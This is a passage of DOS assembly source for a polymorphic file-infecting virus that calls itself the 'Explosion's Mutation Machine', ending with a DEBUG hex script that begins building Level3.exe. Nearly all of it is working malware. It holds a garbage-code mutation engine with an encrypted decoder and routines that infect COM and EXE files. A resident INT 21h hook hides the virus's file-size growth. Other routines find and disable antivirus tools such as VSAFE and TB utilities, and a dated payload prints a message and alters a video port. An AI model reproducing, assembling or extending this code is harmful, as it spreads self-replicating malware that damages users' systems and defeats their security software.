;generating of ins reg8 or ins reg16 (2 bytes)
inct1:
call gregls
jc gg10err
gl201: mov ax,1100000011111110b
ggen21: or al,fw
or ah,dl
stosw
jmp perform_oper_l2
;generating of ins reg16 (1 byte)
inct2:
mov fw,1
call gregls
jc gg10err
gl202: mov al,01000000b
or al,dl
stosb
jmp perform_oper_l2
;*********************** generating of INC ***************************
incrdat dw 0c0feh ;operation
dw 1100000011111110b ;2 bytes
db 01000000b ;1 byte
gincr:
mov si,offset incrdat
jmp ggen11
;*********************** generating of DEC ***************************
decrdat dw 0c8feh ;operation
dw 1100100011111110b ;2 bytes
db 01001000b ;1 byte
gdecr:
mov si,offset decrdat
jmp ggen11
;*********************** generating of NEG ***************************
negrdat dw 0d8f6h ;operation
dw 1101100011110110b ;2 bytes
gnegr:
mov si,offset negrdat
push di
call ggen12
pop ax
cmp di,ax ;if no operation performed then no flags set
jna inegbv
or rflag,1
inegbv: retn
;*********************** generating of NOT ***************************
notrdat dw 0d0f6h ;operation
dw 1101000011110110b ;2 bytes
gnotr:
mov si,offset notrdat
ggen12: mov word ptr ds:(offset gl203+1),offset chtab04
call ggen11
mov word ptr ds:(offset gl203+1),offset chtab03
xt1err: retn
;*********************** generating of XCHG **************************
chtab05 db 1
dw offset xchgt1
db 1
dw offset xchgt2
db 0ffh
gxchgr:
mov si,offset chtab05
jmp choose
;generating of xchg reg,reg (2 bytes)
xchgt1:
call gregls ;source operand
jc xt1err
call rfreg
xchg bx,ax
mov ax,1100000010000110b
or ah,dl
mov bp,dx
call gregls ;target operand
cmp bp,dx
je xt1err
push bp
call shl3fw
stosw
gl301: call rfreg
xchg ax,bx
call wtreg
pop dx
xchg ax,bx
jmp wtreg
;generating of xchg ax,reg (1 byte)
xchgt2:
mov fw,1
call gregls
jc xt1err
cmp rax,03h
jne xt1err
call rfreg
xchg bx,ax
mov al,10010000b
or al,dl
push dx
xor dx,dx ;target operand
stosb
jmp gl301
;***************** general part for SHL,SHR,... ******************
ggen20:
mov al,11010000b
test rcx,1 ;valid value in cl ?
jz rbsh1
mov dx,2
call rnd_get ;shl ,cl or shl ,1 ?
shl dl,1
or al,dl
mov cl,rcx+1
rbsh1: mov word ptr ds:(offset gl102),ax
call gregls
jc gg20err
and rflag,0feh ;flags not defined
jmp ggen21
;********************* generating of SHL,SAL *************************
gshlr:
mov ah,11100000b
jmp ggen20
;*********************** generating of SHR ***************************
gshrr:
mov ah,11101000b
jmp ggen20
;*********************** generating of SAR ***************************
gsarr:
mov ah,11111000b
jmp ggen20
;*********************** generating of ROL ***************************
grolr:
mov ah,11000000b
jmp ggen20
;*********************** generating of ROR ***************************
grorr:
mov ah,11001000b
jmp ggen20
;*********************** generating of RCL ***************************
grclr:
mov ah,11010000b
ggen22: test rflag,1
jz gg20err
jmp ggen20
gg20err: retn
;*********************** generating of RCR ***************************
grcrr:
mov ah,11011000b
jmp ggen22
;*********************** generating of PUSH **************************
chtab06 db 15
dw offset gpt1
db 3
dw offset gpt2
db 1
dw offset gpt3
db 0ffh
gpushr:
cmp ssp,0
je gg20err ;emulated stack full
mov si,offset chtab06
gl410: mov fw,1
jmp choose
;type: push reg
gpt1:
call gregl ;can push any reg (except sp)
mov al,01010000b
or al,dl
stosb
call getaddr
lodsb
xchg cx,ax
call rfreg
;-------- simulation of PUSH --------
spush:
sub ssp,3
sub word ptr rsp+1,2
mov si,ssp
mov byte ptr [si+offset sstack],cl
mov word ptr [si+offset sstack+1],ax
retn
;type: push sreg
gpt2:
mov dx,00100000b
call rnd_get
xchg ax,dx
or al,00000110b
and al,11111110b
gl409: stosb
xor cl,cl
cmp al,00000110b
jne spush
mov ax,word ptr res+1
mov cl,res ;if it is es
jmp spush
;type: pushf
gpt3:
mov al,10011100b
jmp gl409
;*********************** generating of POP ***************************
chtab07 db 15
dw offset gpot1
db 2
dw offset gpot2
db 1
dw offset gpot3
db 3
dw offset gpot4
db 0ffh
gpopr:
cmp ssp,DEPTH
je gg20err ;emulated stack is empty
mov si,offset chtab07
jmp gl410
;type: pop reg
gpot1:
call gregl ;can pop any reg (except sp)
mov al,01011000b
or al,dl
stosb
call spop
call getaddr
mov byte ptr [si],cl
call wtreg
retn
;-------- simulation of POP --------
spop:
mov si,ssp
mov cl,byte ptr [si+offset sstack]
mov ax,word ptr [si+offset sstack+1]
add ssp,3
add word ptr rsp+1,2
retn
;type: pop es
gpot2:
mov al,00000111b
stosb
call spop
mov res,cl
mov word ptr res+1,ax
chpote: retn
;type: pop ds
gpot3:
test res+3,1
jnz chpote ;if ds set to cs do nothing
mov al,00011111b
stosb
jmp spop
;type: push cs,pop ds
gpot4:
test res+3,1
jnz chpote
mov ax,0001111100001110b
stosw
or res+3,1 ;note that ds is set
retn
;********************* generating of jumps **************************
MAXJMP=20
gbytes:
push ax
push cx
push dx
mov cx,dx
jcxz gbsdda
gbdb: xor dx,dx
call rnd_get
xchg ax,dx
stosb
loop gbdb
gbsdda: pop dx
pop cx
pop ax
retn
takeb:
call rnd_get
add si,dx
lodsb
retn
NOJCON=17
jcontab db 01110111b ;ja/jnbe
db 01110011b ;jae/jnb/jnc
db 01110010b ;jb/jnae/jc
db 01110110b ;jbe/jna
db 01110100b ;je/jz
db 01111111b ;jg/jnle
db 01111101b ;jge/jnl
db 01111100b ;jl/jnge
db 01111110b ;jle/jng
db 11101011b ;jmp
db 01110101b ;jne/jnz
db 01110001b ;jno
db 01111011b ;jnp/jpo
db 01111001b ;jns
db 01110000b ;jo
db 01111010b ;jp/jpe
db 01111000b ;js
jcxdtab db 11100011b ;jcxz
db 11100010b ;loop
db 11100001b ;loope/loopz
db 11100000b ;loopne/loopnz
chtab09 db 24
dw offset gjcon
db 5
dw offset gjcxd
db 1
dw offset gjmpn
db 3
dw offset gcall
db 0ffh
gjmp:
mov si,offset chtab09
jmp choose
;generating of jx
gjcon:
test rflag,1
jz g40err
mov si,offset jcontab
mov dx,NOJCON
ggen41: call takeb
stosb
mov byte ptr ds:(offset gl501),al
mov cx,word ptr rcx+1
mov bp,word ptr rflag+1
push bp
popf
;#####
;to run on 486 supply this:
; jmp $+2
;#####
gl501: jmp short gl502
xor dx,dx
call rnd_get
xchg ax,dx
stosb
jmp short g40mcx
gl502: mov dx,MAXJMP ;max no of bytes to jump over
call rnd_get
mov al,dl
stosb
call gbytes
g40mcx: mov word ptr rcx+1,cx
g40err: retn
;generating of jcxz,loopx
gjcxd:
cmp rcx,3
jne g40err
mov si,offset jcxdtab
mov dx,2
test rflag,1
jz ggen41
mov dx,4
jmp ggen41
;generating of jmp near
gjmpn:
mov al,11101001b
stosb
mov dx,MAXJMP
call rnd_get
mov ax,dx
stosw
jmp gbytes
;generating of call X
gcall:
test byte ptr eflag,4
jz g40err ;can't generate call if no retn before
mov al,11101000b
stosb
mov ax,retnaddr
dec ax
dec ax
sub ax,di
stosw
retn
;****************** generating of sti,cli,std,cld **********************
sacftb label byte
sti
cli
std
cld
gsacf:
mov si,offset sacftb
mov dx,4
call takeb
stosb
retn
;********************* generating of mem. ins. *************************
chtab10 db 4
dw offset pissi
db 4
dw offset pisdi
db 4
dw offset pisbx
db 1
dw offset pisbr
db 0ffh
g2ndb:
mov si,offset chtab10
jmp choose
pissi: mov bp,word ptr rsi+1
mov ah,10000100b
cmp rsi,3
je chenbr
pisdi: mov bp,word ptr rdi+1
mov ah,10000101b
cmp rdi,3
je chenbr
pisbx: mov bp,word ptr rbx+1
mov ah,10000111b
cmp rbx,3
je chenbr
pisbr: xor bp,bp
mov ah,00000110b
chenbr: retn
insertcs:
test res+3,1 ;ds set to cs ?
jnz jtdss
mov byte ptr [di],2eh ;insert cs: prefix
inc di
jtdss: retn
ggen60: call gregp
jc gmerr
push ax
call rfreg
or al,al
pop ax
jz gmerr ;to avoid operation with 0
call shl3dl
ggen61: or al,fw
call insertcs
stosw
mov si,ptei
mov word ptr [si],ax
call rfreg
mov word ptr [si+4],ax
mov dx,LENDEC
sub dl,fw ;to enable proper rotation
call rnd_get
mov word ptr [si+2],dx
add ptei,6
mov ax,sodec
add ax,dx
sub ax,bp
stosw
and rflag,0feh ;flags modified
gmerr: retn
chtb20o db 6,8,8,2,2 ;starting probabilities for memory-modifying instructions
chtab20 db ?
dw offset gxorp
db ?
dw offset gaddp
db ?
dw offset gsubp
db ?
dw offset grolp
db ?
dw offset grorp
db 0ffh
gmutp:
cmp ptei,offset eei
jnb gmerr
call g2ndb
mov si,offset chtab20
jmp choose
gxorp:
mov al,00110000b
jmp ggen60
gaddp:
mov al,00000000b
jmp ggen60
gsubp:
mov al,00101000b
jmp ggen60
grolp:
mov al,11010000b
mov dx,4
call rnd_get
or dx,dx
jz zbclns
test rcx,1 ;cl set ?
jz zbclns
cmp rcx+1,0
je zbclns ;does not generate rotation ,cl if cl=0
or al,00000010b
zbclns: mov dx,1 ;address for emulated cx
jmp ggen61
grorp:
or ah,00001000b
jmp grolp
;********************* generating of mem. mov **************************
chtab30 db 5
dw offset pmvt1
db 1
dw offset pmvt2
db 0ffh
gmovp:
call g2ndb
mov si,offset chtab30
jmp choose
;type: mov reg,mem
pmvt1:
call gregl
mov al,10001010b
call shl3fw
push dx
call insertcs
stosw
mov dx,di
sub dx,offset hbuf+1
call rnd_get ;in dx offset within header buffer
mov ax,rel
add ax,dx
sub ax,bp
stosw
xchg ax,dx
pop dx
call getaddr
or [si],ch ;reg value is valid
mov si,offset hbuf
add si,ax
lodsw
jmp wtreg ;read byte and write to reg
;type: mov mem,reg
pmvt2:
call gregp
jc pmverr
mov al,10001000b
call shl3fw
call insertcs
stosw
mov dx,LENOVER-1
call rnd_get ;in dx offset within overwritable bytes
mov ax,gba
add ax,dx
sub ax,bp
stosw
pmverr: retn
chtabgl db 13
dw offset gjmp
db 32
dw offset gmutp
db 17
dw offset gmovp
chtabg1 db 70
dw offset gmovr
db 1
dw offset gsacf
db 16
dw offset gpushr
db 16
dw offset gpopr
db 4
dw offset gshlr
db 4
dw offset gshrr
db 2
dw offset gsarr
db 2
dw offset grolr
db 2
dw offset grorr
db 2
dw offset grclr
db 2
dw offset grcrr
db 7
dw offset gorr
db 7
dw offset gandr
db 4
dw offset gxorr
db 4
dw offset gtestr
db 9
dw offset gaddr
db 9
dw offset gsubr
db 2
dw offset gadcr
db 2
dw offset gsbbr
db 4
dw offset gcmpr
db 4
dw offset gincr
db 4
dw offset gdecr
db 4
dw offset gxchgr
db 2
dw offset gnegr
db 2
dw offset gnotr
db 0ffh
EMM:
cld
mov cx,10
mov di,offset registers
xor ax,ax
li1: stosb ;initialize variables
add di,3
loop li1
xchg bx,ax ;bx=0
mov al,eflag
and al,01h
mov res+3,al ;if al=1 ds is set, if al=0 ds is not set
mov al,04h
test byte ptr eflag,2
jz nsspj
or al,03h
nsspj: or rsp,al ;don't change sp , known value of sp on input
mov ssp,DEPTH ;initialize ssp
mov ptei,offset ei ;initialize ptei
neprkm: mov cx,5
mov si,offset chtb20o
mov di,offset chtab20
sprpm: lodsb
cbw
xchg dx,ax
call rnd_get
xchg ax,dx
add bx,ax
stosb
inc di
inc di
loop sprpm ;setting of probabilities for memory-modifying instructions
or bx,bx
jz neprkm ;not accepted setting of the probabilities
mov di,offset hbuf
mov ax,-1
push ax
test byte ptr eflag,4 ;generate intro garbage bytes ?
jz ngenuv
pop ax
MAXINTRO=100
mov dx,MAXINTRO-1
call rnd_get
inc dx ;in dx length of intro in bytes
push dx
push dx
call rnd_get
call gbytes ;write down random bytes
mov retnaddr,di ;address of retn instruction
mov al,11000011b
stosb ;write retn
pop ax
sub ax,dx
xchg dx,ax
call gbytes ;random bytes
ngenuv: mov ax,di
sub ax,offset hbuf
add ax,rel
mov hip,ax ;ip value for the file
MINHDR=400 ;minimal header length
mov dx,LENHBUF-LENDEC-MINHDR+1
pop ax ;in ax length of intro-1
sub dx,ax
call rnd_get
add dx,ax
add dx,MINHDR ;in dx start of decoder
;relatively to start of hbuf, i.e. header length
mov hend,dx
add hend,offset hbuf ;relocation relat. to start of buffer
add dx,rel
mov sodec,dx ;start of decoder within the file
mov word ptr ds:(offset chchtb+1),offset chtabgl ;use all instructions
mov byte ptr ds:(offset sj1+1),0 ;setting of the switched jump
next_inst:
push di
mov dx,3
call rnd_get
or dl,dl
jz ginsh
mov dl,1
ginsh: mov fw,dl ;byte or word inst.
chchtb: mov si,offset chtabgl
call choose ;generating of inst.
pop ax
sj1: jmp short gc1
gc1: push di
;#####
;to run on 486 change the following instruction
;which goes: add di,MAXJMP+3-1
;into: add di,40 ;prefetch queue is 32B for 486
;#####
add di,MAXJMP+3-1
cmp di,hend
pop di
jb next_inst
mov word ptr ds:(offset chchtb+1),offset chtabg1 ;do not generate mem-modifying ins.
mov byte ptr ds:(offset sj1+1),offset gc2-offset gc1 ;switch of jump
jmp next_inst
gc2: cmp di,hend
jb next_inst
xchg di,ax
jne next_inst ;if not end of header then repeat
xchg di,ax
mov bx,di
mov ax,offset stsub+(hbuf-start_virus)-LENVIR-(dcjmp-sdec)-2
sub ax,di
mov dcjmp,ax ;setting the jump in decoder
mov si,offset sdec
mov cx,LENDEC
rep movsb ;copy decoder behind header
mov si,ptei
udzd: cmp si,offset ei
jna vsmu
sub si,6 ;reading of mem-modif. inst. in reverse order
mov al,byte ptr [si]
mov dl,al
and dl,11111100b
cmp dl,00000000b
jne zop1
or al,00101000b
zop1: cmp dl,00101000b
jne zop2
and al,00000011b
zop2: mov ah,10001111b
and word ptr [si],0011100011111100b
cmp word ptr [si],0000100011010000b
jne njtsp
and ah,11000111b ;xchange ADD for SUB, ROL for ROR and vice versa
njtsp: mov word ptr ds:(offset vari),ax
mov dx,word ptr [si+2]
mov word ptr ds:(offset vari+2),dx
mov cx,word ptr [si+4]
jmp $+2
vari: xor [bx+1234h],cx ;perform reverse operation on decoder
jmp udzd
vsmu: retn
;******************* decoder ****************
sdec:
sti
push cs
pop ds
dcmsi: mov si,1234h
dcmax: mov ax,1234h
mov cx,(LENVIR-1)/2+1
dp2: xor [si],ax
jmp short dcaax1
dcaax2: add ax,1234h
inc si
loop dp2
db 0e9h
dcjmp dw ?
dcaax1: add ax,1234h
inc si
xor [si],ax
jmp dcaax2
edec label near
;******************** Explosion's Mutation Machine ********************
;*************** copied routines **************
zencode:
mov cx,LENVIR
xor dx,dx ;offset start_virus
call zzp1
mov ah,40h
mov bx,handle
pushf
db 9ah
dd ? ;call ds:oriv21
jc zec1
cmp ax,cx
zec1: pushf
call zzp1
popf
retn
zzp1: push cx
mov si,dx
zecmax: mov ax,1234h
mov cx,(LENVIR-1)/2+1
zzp2: xor [si],ax
zecaax1: add ax,1234h
inc si
xor [si],ax
zecaax2: add ax,1234h
inc si
loop zzp2
pop cx
retn
zres24:
mov al,03h
iret
zenden label near
;************** routines for res. part *************
set_on_24:
push dx
push ds
push cs
pop ds
mov ax,3524h
call int21
mov seg24,es
mov off24,bx
mov ax,2524h
mov dx,offset res24
call int21
pop ds
pop dx
retn
set_off_24:
mov ax,2524h
lds dx,dword ptr cs:off24
call int21
retn
identify: ;is file infected ?
push dx
mov ax,es:[bx+2]
inc ax
xor dx,dx
div cs:v30
mov ax,es:[bx]
and al,11111b
cmp al,dl
stc
je iekon ;already infected
mov ax,es:[bx]
and ax,0ffe0h
or al,dl
clc
iekon: pop dx
retn
;*********** infect EXE,COM ***********
write_file:
mov ah,40h
jmp short s1
read_file:
mov ah,3fh
s1: call s2
jc s3
cmp ax,cx
s3: retn
start_file:
xor cx,cx
mov dx,cx
pos_start:
mov ax,4200h
jmp short s2
end_file:
xor cx,cx
mov dx,cx
pos_end:
mov ax,4202h
mhandle:
s2: mov bx,cs:handle
int21:
pushf
cli
call cs:oriv21
retn
infect:
mov ax,5700h
call mhandle
mov bx,offset ftime
mov [bx],cx
mov [bx+2],dx ;read in time and date of last write
call identify
jnc ienjnp
igbck: retn
ienjnp: xor dx,dx
call rnd_get
mov word ptr ds:(offset dcmax+1),dx
mov word ptr ds:(offset ecmax+1),dx
xor dx,dx
call rnd_get
mov word ptr ds:(offset dcaax1+1),dx
mov word ptr ds:(offset ecaax1+1),dx
xor dx,dx
call rnd_get
mov word ptr ds:(offset dcaax2+1),dx
mov word ptr ds:(offset ecaax2+1),dx ;values for encoding
call start_file
mov cx,18h
mov dx,offset header
call read_file
pigbck: jc igbck
mov si,dx
mov di,offset bheader
rep movsb
push dx
call end_file
mov lenlo,ax
mov lenhi,dx
mov si,ax
mov di,dx
pop bx
cmp [bx].id,'MZ'
je iEXE1
cmp [bx].id,'ZM'
je iEXE1
mov bheader.flag,0 ;0 means COM
cmp ax,65535-(EXTENTION+DEPSTACK) ;much too long ?
ja igbck
mov bheader.min,0000h ;min. memory is 0
jmp short iCOM1
iEXE1: mov bheader.flag,1
mov ax,[bx].pages
mul v512
sub ax,si
sbb dx,di
jc pigbck ;overlay detected
mov ax,si
mov dx,di
add ax,EXTENTION
adc dx,0
div v512
or dx,dx
jz spcp1 ;special case is that dx=0
inc ax
spcp1: mov [bx].pages,ax
mov [bx].lpage,dx ;setting pages and bytes in last page
iCOM1: and si,0fff0h
add si,16
adc di,0
mov dx,si
mov cx,di
push bx
call pos_start ;allignment to the multiply of 16
pop bx
cmp bheader.flag,0
jne iEXE2
mov byte ptr [bx],0e9h ;getting ready for jump
add ax,100h
mov gba,ax
add ax,LENVIR
mov rel,ax
mov eflag,001b ;setting parameters for EMM
jmp short iCOM2
iEXE2: mov ax,[bx].parps
mul v16
sub si,ax
sbb di,dx
mov ax,si
mov dx,di
div v16
mov [bx].vCS,ax
mov bheader.id,ax ;store org cs
mov ax,[bx].vSS
mul v16
mov cx,[bx].vSP
add ax,cx
adc dx,0
sub ax,si
sbb dx,di
jc zjvs
sub ax,DEPSTACK
sbb dx,0
jc pikon1
add [bx].vSS,(EXTENTION-1)/16
zjvs: mov rel,LENVIR
mov gba,0
mov word ptr rsp+1,cx
mov eflag,010b ;setting parameters for EMM
iCOM2: mov ax,gba
mov word ptr ds:(offset dcmsi+1),ax ;start for decoder
mov word ptr ds:(offset stsub+1),ax ;for proper relocation
mov dx,6
call rnd_get
or dx,dx
jz nguv
or eflag,100b ;generates intro with probability 5 : 1
nguv: call EMM
call encode
jc pikon1
mov ax,hip
cmp bheader.flag,0
jne iEXE3
sub ax,103h
mov word ptr ds:(offset header+1),ax ;setting jump in com
jmp short iCOM3
iEXE3: mov header.vIP,ax ;write down ip
iCOM3: mov cx,di
mov dx,offset hbuf
sub cx,dx
call write_file
pikon1: jc ikon
call start_file
mov cx,18h
mov dx,offset header
call write_file
jc ikon
add lenlo,EXTENTION
adc lenhi,0 ;change length
mov dx,25
call rnd_get ;with probability 1 : 25 does not mark
or dx,dx
jz ikon
mov bx,offset ftime
call identify
mov [bx],ax ;mark file
ikon: mov dx,lenlo
mov cx,lenhi
call pos_start
xor cx,cx
call write_file ;allignment to constant length increase
mov ax,5701h
mov cx,ftime
mov dx,fdate
call mhandle ;setting time and date
retn
sublen:
sub word ptr es:[bx],EXTENTION
sbb word ptr es:[bx+2],0
jnc npretn
add word ptr es:[bx],EXTENTION
adc word ptr es:[bx+2],0
npretn: retn
NOUNF=14 ;number of unfriendly programms
titstr db 3,'COM',3,'EXE'
titstr1 db 4,'SCAN',7,'VSHIELD',5,'CLEAN',8,'FINDVIRU',5,'GUARD'
db 8,'VIVERIFY',2,'TB',2,'-V',7,'VIRSTOP',3,'NOD',4,'HIEW'
db 5,'PASCA',7,'NETENVI',6,'F-PROT',6,'CHKDSK'
check:
push bx
push cx
push si
push di
push ds
push es
push ax
mov si,dx
mov bx,si
xor di,di
mov cx,LENFNB
ol1: lodsb
cmp al,'\'
je stfn
cmp al,'/'
je stfn
cmp al,':'
jne nstfn
stfn: mov bx,si
nstfn: cmp al,'.'
jne itnb1
mov di,si
itnb1: or al,al
jz whname
loop ol1
jmp short oinok
whname: cmp di,bx
jbe oinok
mov si,di
mov di,offset titstr
push cs
pop es
call compare
je porok
call compare
jne oinok ;COM or EXE ?
porok: mov cl,NOUNF+1
mov si,bx
mov di,offset titstr1
ol2: push cx
call compare
pop cx
je fkrpg
loop ol2 ;check for unfriendly progs
oiok: clc
okon: pop ax
pop es
pop ds
pop di
pop si
pop cx
pop bx
retn
fkrpg: cmp cx,2
ja nvpst ;if F-PROT or CHKDSK switch off stealth
pop ax
push ax
cmp ah,4bh ;execute ?
jne nvpst
mov byte ptr cs:(offset rpps1+1),offset ndnxt-offset con1
nvpst: cmp cx,1
je oiok ;can infect CHKDSK
oinok: stc
jmp okon
compare:
push si
mov cl,byte ptr es:[di]
inc di
mov ax,di
add ax,cx
push ax
popdp: lodsb
cmp al,'a'
jb ponmp
cmp al,'z'
ja ponmp
sub al,('a'-'A')
ponmp: scasb
loope popdp
pop di
pop si
retn
;************** 21h handler *************
infname: ;in ds:dx is file name
push ax
push bx
push cx
push si
push di
push bp
push ds
push es
call eliminate_av
call set_on_24
mov ax,4300h
call int21
mov cs:attrib,cx
mov ax,4301h
xor cx,cx
call int21
jc errnd_l1
mov ax,3d02h
call int21
jc errnd_l2
push dx
push ds
push cs
pop ds
push cs
pop es
mov handle,ax
call infect
mov ah,3eh
call mhandle
pop ds
pop dx
errnd_l2: mov ax,4301h
db 0b9h
attrib dw ? ;mov cx,attrib
call int21
errnd_l1: call set_off_24
pop es
pop ds
pop bp
pop di
pop si
pop cx
pop bx
pop ax
retn
res21:
sti
rpps1: jmp short con1 ;switched jump for switching off stealth
con1: cmp ah,11h
je dtrad
cmp ah,12h
jne dnxt
dtrad: push bx
push es
push ax
mov ah,2fh
call int21
pop ax
call int21
cmp al,0ffh
je dterr
push ax
cmp byte ptr es:[bx],0ffh
jne nexp
add bx,7
nexp: add bx,17h
call identify
pop ax
jnc dterr
add bx,1dh-17h
call sublen
dterr: pop es
pop bx
iret
dnxt: cmp ah,4eh
je dffh
cmp ah,4fh
jne ndnxt
dffh: push bx
push es
push ax
mov ah,2fh
call int21
pop ax
call int21
jc ret21
push ax
add bx,16h
call identify
pop ax
jnc ret21_stc
add bx,1ah-16h
call sublen
ret21_stc:
clc
ret21:
pop es
pop bx
rf2: push ax
push bp
mov bp,sp
lahf
mov [bp+08h],ah
pop bp
pop ax
iret
ndnxt: cmp ah,31h
je trmsr
cmp ah,4ch
jne nkprg
mov byte ptr cs:(offset rpps1+1),0
trmsr: call eliminate_av
nkprg: cld
push dx
cmp ax,4b00h
je infac
cmp ax,6c00h
jne nxts
test dl,00010010b
mov dx,si
jnz saveh
nxts: cmp ah,3ch
je saveh
cmp ah,5bh
je saveh
cmp ah,3eh
jne jornd_l21
cmp bx,cs:chandle
jne jornd_l21
or bx,bx
jz jornd_l21
mov cs:chandle,0
call int21
jc pdxrf2
push ds
push cs
pop ds
mov dx,offset fname
call infname
pop ds
miretc: clc
pdxrf2: pop dx
jmp rf2
jornd_l21: pop dx
cli
jmp cs:oriv21
infac:
call check
jc jornd_l21
call infname
jmp short jornd_l21
saveh:
cmp cs:chandle,0
jne jornd_l21
call check
jc jornd_l21
mov cs:rhdx,dx
pop dx
push dx
call int21
db 0bah
rhdx dw ? ;mov dx,rhdx
jc pdxrf2
push cx
push si
push di
push es
mov si,dx
mov di,offset chandle
push cs
pop es
stosw
mov cx,LENFNB
rep movsb
pop es
pop di
pop si
pop cx
jmp short miretc
NUMTBN=4
tbname db 'TBMEMXXX','TBCHKXXX','TBDSKXXX','TBFILXXX'
eliminate_av:
push ax
push dx
push ds
mov ah,0ffh
xor bl,bl
int 13h ;eliminates NOHARD
mov ah,0feh
int 13h ;eliminates NOFLOPPY
mov ax,0fa02h
mov dx,5945h
mov bl,31h
int 16h ;eliminates VSAFE
push cs
pop ds
mov ah,52h
int 21h
les bx,es:[bx+22h]
next_device:
mov si,offset tbname-8
mov cx,NUMTBN
next_tb_utility:
push cx
add si,8
lea di,[bx+0ah]
mov cx,4
push si
repe cmpsw
pop si
pop cx
loopne next_tb_utility
jne not_tb_utility
or byte ptr es:[0016h],01h ;eliminates TB-utility
not_tb_utility:
les bx,es:[bx]
cmp bx,0ffffh
jne next_device
pop ds
pop dx
pop ax
retn
owname db 'COMMAND',00h
stsub:
mov ax,0000h
mov cl,4
shr ax,cl
mov dx,cs
add ax,dx
push ax
mov ax,offset mdcs
push ax
retf ;relocation cs:ip
mdcs:
cld
push cs
pop ds
mov ax,DEPTH
sub ax,ssp
dec cx
div cl ;al=ax/3
shl ax,1 ;ax=ax*2/3
add sp,ax ;sp to orig. value
;**************** action *****************
mov cl,ORDER
mov ax,counter
div cl
or ah,ah
jnz nap
mov ah,2ah
int 21h
cmp dl,7
jne nap
mov ah,09h
mov dx,offset mess1
int 21h
mov dx,3cch
in al,dx
and al,11111101b
mov dl,0c2h
out dx,al
mov ah,4ch
int 21h
nap: call eliminate_av ;eliminates AVIR
mov ah,62h
int 21h ;in bx PSP
push bx
xor ax,ax
mov ds,ax
mov ds,word ptr ds:(offset MEMPOS+3)
cmp word ptr owname,'OC'
je pinchb ;already res
;**************** instalation into memory ******************
xchg ax,bx
dec ax
mov ds,ax
add ax,ds:[03h]
sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
mov dx,cs
add dx,(LENVIR-1)/16+1 ;end of virus code
cmp ax,dx
jb tranw
mov dx,cs
add dx,cs:bheader.min ;min memory req.
cmp ax,dx
jb tranw
mov dx,ss
mov si,sp
inc si
mov cl,4
shr si,cl
inc si
add dx,si ;end of stack
cmp ax,dx
jnb intdp
tranw: mov ah,48h
mov bx,0ffffh
int 21h
cmp bx,((end_res-start_virus)-1)/16+2
jnb dbjdv
pinchb: jmp inchb
dbjdv: mov ah,48h
int 21h
dec ax
mov ds,ax
mov word ptr ds:[01h],0000h
add ax,ds:[03h]
sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
intdp: mov dl,byte ptr ds:[00h]
mov byte ptr ds:[00h],'M'
sub word ptr ds:[03h],((end_res-start_virus)-1)/16+2
mov ds:[12h],ax
mov ds,ax
mov byte ptr ds:[00h],dl
inc ax
mov word ptr ds:[01h],ax
mov word ptr ds:[03h],((end_res-start_virus)-1)/16+1
push ds
pop es
push cs
pop ds
inc counter ;generation
mov si,offset owname
mov di,08h
movsw
movsw
movsw
movsw ;name of owner
mov es,ax
xor si,si
mov di,si
mov cx,LENVIR
rep movsb ;copying of body
mov si,offset zencode
mov cx,(zenden-zencode)
rep movsb ;copying of necessay routines
xor ax,ax
mov es:chandle,ax ;initialisation of variable
mov ds,ax
mov ax,ds:046ch
mov es:rnd1,ax
mov ax,ds:046eh
mov es:rnd2,ax ;initialisation rnd_get
mov byte ptr ds:(offset MEMPOS),0eah
mov word ptr ds:(offset MEMPOS+1),offset res21
mov word ptr ds:(offset MEMPOS+3),es
cli
mov ax,ds:(4*21h)
mov word ptr es:oriv21,ax
mov ax,ds:(4*21h+2)
mov word ptr es:(oriv21+2),ax
mov word ptr ds:(4*21h),MEMPOS
mov ds:(4*21h+2),ds
sti
inchb: pop bx
push cs
pop ds
mov es,bx
mov si,offset bheader
cmp [si].flag,0
jne zuEXE
mov di,100h
mov [si].vIP,di
mov [si].vCS,bx
movsb
movsw
jmp short zuCOM
zuEXE: mov ax,cs
sub ax,[si].id ;sub cs from exe header (infected)
add [si].vCS,ax
add ax,[si].vSS
mov ss,ax
zuCOM: mov ds,bx
xor ax,ax
jmp dword ptr cs:bheader.vIP
counter dw 1250
mess1 db 0dh,0ah,'Welcome to the Explosion''s Mutation Machine !',0dh,0ah
db 'Dis is level 3.',0dh,0ah,'$'
end_virus label near
;************************ copied routines and heap ***********************
encode:
mov cx,LENVIR
xor dx,dx ;offset start_virus
call zp1
mov ah,40h
mov bx,handle
pushf
db 9ah ;call oriv21
oriv21 dd ?
jc ec1
cmp ax,cx
ec1: pushf
call zp1
popf
retn
zp1: push cx
mov si,dx
ecmax: mov ax,1234h
mov cx,(LENVIR-1)/2+1
zp2: xor [si],ax
ecaax1: add ax,1234h
inc si
xor [si],ax
ecaax2: add ax,1234h
inc si
loop zp2
pop cx
retn
res24:
mov al,03h
iret
handle dw ?
header strc <>
off24 dw ?
seg24 dw ?
ftime dw ?
fdate dw ?
lenlo dw ?
lenhi dw ?
chandle dw ?
fname db LENFNB dup(?)
retnaddr dw ?
sodec dw ?
hend dw ?
ptei dw ?
ei db 6*25 dup(?)
eei label near
rel dw ?
gba dw ?
eflag db ? ;input flags (0-set DS,1-set SP,2-gen. intro)
hip dw ?
hbuf db LENHBUF dup(?)
end_res label near
virus_segment ends
end stsub
---------------------------
N Level3.exe
E 0100 4D 5A 04 01 0A 00 00 00 20 00 3D 00 FF FF 00 00
E 0110 80 00 00 00 89 0E 09 00 3E 00 00 00 01 00 FB 30
E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
